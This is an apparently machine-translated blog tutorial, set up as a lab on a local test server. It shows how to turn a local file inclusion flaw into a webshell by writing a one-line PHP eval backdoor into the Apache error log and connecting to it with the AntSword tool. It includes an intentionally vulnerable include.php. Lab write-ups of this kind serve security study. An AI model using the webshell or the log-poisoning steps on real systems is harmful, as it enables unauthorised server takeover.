当前位置:网站首页>[file inclusion vulnerability-04] classic interview question: how to getshell when a website is known to have only local file inclusion vulnerability?
[file inclusion vulnerability-04] classic interview question: how to getshell when a website is known to have only local file inclusion vulnerability?
2022-06-25 10:52:00 【Like the wind 9】
Catalog
1 Experiment introduction
The experimental requirements : Suppose the attacker already knows that a website exists and only local File Inclusion Vulnerability exists , And there are no file upload vulnerability points and other vulnerabilities , how GetShell.
The experiment purpose : Exploit local File Inclusion Vulnerability GetShell.
2 Experimental environment
(1) Drone aircraft
This experiment is based on WAMP Environment to test , Environment deployment process reference article 《【 Language environment 】WAMP Environment deployment and optimization — With win2008R2SP1 For the operating system 》,IP by 172.16.1.1.
Check out the target PHP edition . You need to view the of the built server PHP edition , Next, modify its configuration .
open phpstudy Installation folder , find PHP-5.4.45 Version corresponding folder , Will file php.ini Medium allow_url_include Parameter set to On, Remember to save and restart the server after modification .

Under the root directory of the environment website , New folder FileInclusion, stay FileInclusion Create the following files under the folder to experiment . Create a new one txt file , Enter the following code , And rename to include.php.
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2) attack
Real machine installation BurpSuite And Chinese ant sword , Installation reference of relevant software 《【Burp Suite Tools -1】BurpSuite Introduction and detailed explanation of installation process 》、《【 Ant sword tool -01】 Website management tools of the Chinese ant sword installation process and application examples 》.
3 The experimental steps
3.1 Include log files getshell
Ideas : There is no file upload point , And we also need a file in the local server to have a sentence Trojan horse code , At this time, we think of , Log file records the error reporting method , In the transaction log file “ write in ” In a word, Trojans , Then use the file contains to execute the one sentence Trojan horse in the log file . The specific steps are as follows :
(1) Will visit include.php Page URL link http://172.16.1.1/FileInclusion/include.php Copy , stay BurpSuite Of repeater Right click in the module to select Paste URL as request With URL Form add request , Click Send , You can see that the response was successfully received , Just because it was not passed to path Variable , So the prompt goes wrong .
(2) In the request line , Change the file path change request to one sentence code <?php @eval($_REQUEST['cmd']);?>, Click Send , You can see the response error .
(3) The server reports an error in the request , A response record will be added to the error log . On the target plane we open Apache Error log for , Path is C:\phpStudy\PHPTutorial\Apache\logs\error.log, You can see that an error message has been added , And the code is not enclosed in quotation marks , Can be included in the file to execute unconditionally .
(4) Use Chinese ant sword to connect . Open the Chinese ant sword in the real machine → Add data → Fill in URL Address and connection password , among URL Address http://172.16.1.1/FileInclusion/include.php?path=C:\phpStudy\PHPTutorial\Apache\logs\error.log, The password for cmd, Click Add .


(5) Management server . After adding, you can see the newly added content in the main interface of the software , Double click to manage the server .
expand
(1) contain session file , cause session Let the cat out of the
(2)metinfo5.0.4 The file contains vulnerability code audit
4 summary
Ideas : The first step is to use everything possible to make a Trojan horse in a local file of the server ; The second step is to let the code execute .
reflection : If the error log is not in the default location , How to find it or whether there are other ways ?
reflection : If the target has a Remote File Inclusion Vulnerability , Attacker on server 2 Write a one sentence Trojan horse file on the , Use the target remote file to include the file , Does not Get Drone aircraft Shell. Later, we should have a deeper understanding of the control principle of the Trojan horse , To determine why it cannot be achieved , It is tentatively believed that shell The code is on the server 2 Executed on .
边栏推荐
- CSRF攻击
- Garbage collection mechanism
- 【论文阅读|深度】Role-based network embedding via structural features reconstruction with degree-regularized
- XSS attack
- Chinese translation of IMA Lazarus' the new giant, the goddess of Liberty
- Handler asynchronous message processing
- Houdini图文笔记:Your driver settings have been set to force 4x Antialiasing in OpenGL applications问题的解决
- 成长:如何深度思考与学习
- 单片机开发---基于ESP32-CAM的人脸识别应用
- Mqtt beginner level chapter
猜你喜欢

Oracle彻底卸载的完整步骤

The real difference between i++ and ++i

【论文阅读|深读】LINE: Large-scale Information Network Embedding

虚幻引擎图文笔记:使用VAT(Vertex Aniamtion Texture)制作破碎特效(Houdini,UE4/UE5)上 Houdini端

This is enough for request & response

网络协议学习---LLDP协议学习

Task03 probability theory

WPF prism framework

我希望按照我的思路尽可能将canvas基础讲明白

NETCORE performance troubleshooting
随机推荐
《天天数学》连载52:二月二十日
垃圾回收机制
浅谈二叉树
Five types of questions about network planning
Get to know Prometheus
Request&Response有这一篇就够了
A five-year technical Er, based on the real experience of these years, gives some suggestions to the fresh students
我希望按照我的思路盡可能將canvas基礎講明白
Array structure collation
Garbage collection mechanism
一文了解Prometheus
IdentityServer4 定义概念
【动态规划】—— 数字三角形
How to install SSL certificates in Microsoft Exchange 2010
Android之Kotlin语法详解与使用
Shardingsphere proxy 5.0 sub database and sub table (I)
Cdn+cos ultra detailed steps for drawing bed construction
QT: parsing JSON
每日3题(3)-检查整数及其两倍数是否存在
OODA working method